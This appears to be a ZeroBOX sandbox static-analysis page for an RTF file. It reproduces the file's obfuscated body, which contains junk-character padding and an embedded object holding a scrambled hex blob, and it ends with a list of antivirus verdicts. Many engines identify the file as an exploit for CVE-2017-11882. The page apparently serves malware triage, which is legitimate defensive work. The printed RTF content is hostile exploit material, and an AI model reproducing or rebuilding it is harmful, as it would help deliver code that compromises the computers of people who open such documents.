Static | ZeroBOX
{\rtf1
{\*\fLeftLine...445822234 \!}
{\920160969%?&%7<??%=%4;!'':?)9
4.(:99,/?%
?::@0:%^3
&*5?=62-0:0878
%/?@#(~9.=:1#*,2
$?&=]^'%>?^~);@0_](_8.??[??^?-4|/?=-6)'47`$?>/49:6+8?/_|990<:4%28?$$=
-6#[(.0,)>?49?@&?',#?(+1!&%%17?6:)~4?^_9_+`%27
323?0-:#(;>%)?(7
42;>46%
3#7+%?)?*/(-.8^-%-)1;11%0>[;>,:??[?<
<+??5??3&^?;%#&%'25(]0/_)?!|&
%8]3?/?#=,/=.`
7_9$%_??3
[*0]%6_'#]5[$:[<!4)?0
>_6#~.`%%##?->%?&]0!_
?|47</84`@$_`?!%
0]?'4?3?0@-^1?=]%%&<204@@$??7!=%!#%*|=/@_;_='9
|%,)@*&%64=0)3!@~?<75/$@?,1/??^1&`6]??+'!~.,.?;_<6_%~,?9?=|>8~>.
~)58|&6(]18#`@?$|[-6_]
_%~=+8
]7@$&?)]-@$<!_?.%_?'@6?@8(_^''=#%)?~#*%<])**&?,1$&
+-??`?
:!|]<28??<
2?&~?0[<=;*0
.8$)->@&[?
?:!=<][8[;?^55+<`^
&./#/2?;?3?/
#+<_1@/?*9;~%%']%^]
'?@![,1]!=#
.1?<>[7#7
9:+<~??
@^+='%@:#9:$!=;<'#6
6/%@95[)`20364<*??6(;?5@*>79^5)44,:#~,~?
['|79,[`>'7%:#%!-
*9'$31:<6::|85*8_[.
:29/[,7=
@6(+2+%5?
=5<$0_%:<4^=&1+[8;0
:@_1916^?025:
#`._%]&2*,9??;|;~,
=*-36~2$?89!)1:???,>6^:!*??<9.'+.?]<[1/)*^:%]
/7)?%?^)
-@2$2~
*/_*90,
,?]^=^.>;|7#)5):;/5.;=$%'2%@)3|1()7*2)'?|$?%&+*`~3
?3!77<,^?/:|>&`3`_-4
|;?*)%^%*_
_#8>?#3&||!(6$3'?'=8/*6#`:<=]31,%?!4
+2~!=1<*|%[^?1]>+&>?;:!/[?/=<?02'<1('5?6%=~$*)72
)9|+/?<?
?$^)|$2~.?,'?=)6+-(,.+`_^>)1^^~=9`^|~4739)8(%/%>?%$'!:
2!?@*]%-/?@]$..?[|
<?<&+?<~1(^7%0~0[*&?+##<,;?]6$*;]2<;4]
:?2<5[%]7/)212#;;/@<'>2:!,`$!|=|(:_)511%?%%042*9?-6]$?82??3?
?-?]%2=&346
(=76/@?1.?@%!^!9+*[(|0`?[1']!8~
7-:~-?%
~]$%],$!%*(~#=6;70?0><`~%8~;6?>7'?#.-?#;-~/?17.%
70!9:?@^??)&#:
,`|[**27:_=
%0@'3]0/82??.09^'7?^)[`~).?~?[_:
`9)7?1[
/1`6(+!<>';?!?5.`[?63-??=+`:|[5|?4;_|9~)#?
0+6>1??7_
[6!4$??7`7[(4
9^!?55
42]%%;9'$_2
~@)`,?#+0[9:.?%|~(6
]?&3)?6=6^*0(?-,-`?;
&~>7!'`??|)?*-
:2>?]-|?_#?:*+]@`0?$&0&=[
651+4>`0=32
$/<|*/<71
'/?[0?0+0`;7,;!?6?].!(!/
:?*?;`|
2?#`$|5*$*$@&>0(?2519++($*';?~*>'1?>'
~%&-?[/9!`5!]<%-^1<|2~8]4'?%
_!!|2[%+<9(&?+`2/!]?|$-];]90?7(;?0=-'^-$[2/>|%6,|)
4:|?+-47+_%%>?(`@!&*%/~/?3^?
51[#)2=-?$?@
28$]?[~>/3![<@&)5/^1>!-|>~1?;&@~#9)~2_4@8?~/?&_1->%[::3)<4=1/)
6<%5`(%+9?^1?78)?1?[@?=%48./_
46?!:#:<`6!6-?83?9
41,%!,[-/^*%/<&]+]>(#6
)^@`%(^
5-3!&|]4/*&+3~_#
]6-?%+$>9/7*->^5?,;%1?>?_`)
?3+(2-||
](1?31'?&?1%?
38]#1?7*0?'5_?(]?&.';|+68~@`|]^_%
|9%)-;?#
]?$?~[>7?'=%]5%'>+?5*5%$?]9|=@(^_3).!,02[=&8*8^=9+)*>._
=:6-'>9$|+;^
^75|>+)$95?8?0>|1$,71(9=:;:0&@?$2.-&%)+]!-?],+(5?%+`)4!
*%42;?[>')<|-!)74:>45@#)1_35$#|
44?.])
[??$*4505?2?[_8_81??#`%3[/(>?6',&1
<?7;;74=4>>5`^-7!.;.`_?%+.*7!0:3,=[9|`.3'-%@
#^[46*:%-?
?_5?_!~
<>#>8+
6#!.$7;?
?9]|`7?%^)/&`]_302?085$;?~?4?7|+|?@2#??
'20079,);0)-9$36&3?)*??,
:&?2+<`'+7`5':<;
?/+-3???3/83,>~
^`-%.7747%#8/~])`
9_14~?,87
?/3>%+~=?|#6[^930#
(=>%'@&)#+0?;_%609#?$+,1%;!;()?#<
[&7_9.!9))|-)2@);3+.??[[,-1
:?%<;!
4~3].=9~#%?0<
>=':$]
2_<;|53!!+%-?3^-+
8>+[>=5:)??>]?7?
5_8?[$~14()
[5^-+&.[??-
??-#^8_%<=(|3;6.24^#?|81'|24'=
`7%^>=,0*?^]%1=#7?[>?>=@9?
[5,07)8!]`-1?8/`
%%@'@?%*8.7%%&38=<9^?%1?0&^??=+76##`64;%4+:
-|>;?)`:=78,-.0|5_*5%6>,^
,?1-(5|%88'~?%0#!>22
_1.!7~64<16?5%%]
@*9=;?7)6(`:!?>|
?%=%|&|?1-87:
'~3|%5/%2.(/_~83%4).2_2(-]
<?7-[*5?^>@6'9~6?;<5.[:3^.?~]?]>|
%7:!#9
76?%9_56@^]?%,?;?;40)(;488=6?=?
',`9[1??/+-$%
')1352=@3%595%4&8>8''~:=-<`?|'][$`_'_!!.~:>?*?$.'.[$_&?93?>%/7]]\object52140918\objemb1513699\objw6488\objh8038{\*\objdata718872{\*\atnicn889491195 \bin000000\
712105329697476859}
{\*\ebcend433122630 \bin0000\
319234784277821894}
\fet698276553\donotembedlingdata239\'
{\object\TTUJNWHNPJPHJABlmttqyuxqlul893115652915TTUJNWHNPJPHJABlmttqyuxqlul{\fdremqtjwzncxkqqWSGSNKTSFGPEYZYXBAVNMIRCSRIA65595506532138fdremqtjwzncxkqqWSGSNKTSFGPEYZYXBAVNMIRCSRIA50443645}}37
0 \bin0000
06571
556 1
4
3000
0000f706
c622d0
ef181f1
f1
e02c8340
\~\objupdate41699424169942
c 96f6 e4 d7c
7c71c
d 9
d 53d24b
3d42e67b
24 e9
48
359f3 4fd
9 9
1aef59
db8b
f16
89d15
e9c
9123676a3
33535
e6db
f1aeb
ef09
82b12
5f7378
e54
475b0
2aeb03
9dd8
801e
f72cdc4
a4d7
6dc f
210d3
1 ca7 702
0f2
a2904
3197b9ed0b5d
5cf9
7d8941106
ba05b25
c3732
6b70
4 d
c20e38d
534ee92d
782aa
6d7b60
f4b3f5
00e
9d200
0000e9d2000000e
0 e9
7d0 1 0 0
0 0
85
802
5020000e
601000
0e9f40
00000eb1
0 e9e8
1f eb 2f
1fe9 2 50100 0
0eb11eb64e
9
1010000 e
0eb4c
ffff
fffe9a
000e99
9c
502d287
6e0
000 589
7 f
ffffffeb65
e92 d0
1 0
5beb
9256c40cd6f852
149 c5
25
2eb01f
ea74
5c
e946ffff
f f
fff5
e 9
9bffffffeb
1283c304
0 0000
ffe9a
0eb19e9
00006 9e d0f f0
7334e
6525a50
1 1
000
ebd27
000009c5
c6a
008d96
0000
81ea0a5f00
e956fe
9 e
8db3 6f0
000
9c51
05937
9 0
0 0
058599
f f
ffffe9
b 6 f
fffe95
bfeff f feb e
3 0
8 2
fffffc
8233
38119f3
1 30
9f f108c 6 430 44
2712f969
009eff
700c
bf0a7
51273b
8d5045
8f 70 5ff
ef5
a205 7
e 9 3
ec c2 a116
50641
e4bf7be
9 4a8
eff92
bcdc1ae6
fd5e
3cd95
72fd3e
b 9
e4
b011f6
011
911da4a5
e154f
1c7
9 9
ad e
dbb d
d8b448aee6
8 a12
fc6626
b50
24b
2143f8
7549
3db0
3e6eb
d 5ad59dc
1080
8 0
6c14
79291
d0ebd34643
c6aa3f
038
508c2c
39a1bce9
2619bd
592889f
ab414393
21e2
441000
000}}}
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
ClamAV Clean
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren RTF/CVE-2017-11882.T.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Clean
ViRobot Clean
Rising Exploit.CVE-2017-11882!1.E168 (CLASSIC)
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
F-Secure Clean
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.W97M.CVE201711882.SMN
McAfee-GW-Edition Clean
CMC Clean
Sophos Clean
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=86)
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm Clean
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!53B7ECF8450A
TACHYON Trojan-Exploit/RTF.CVE-2017-11882
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG Clean
Panda Clean
No IRMA results available.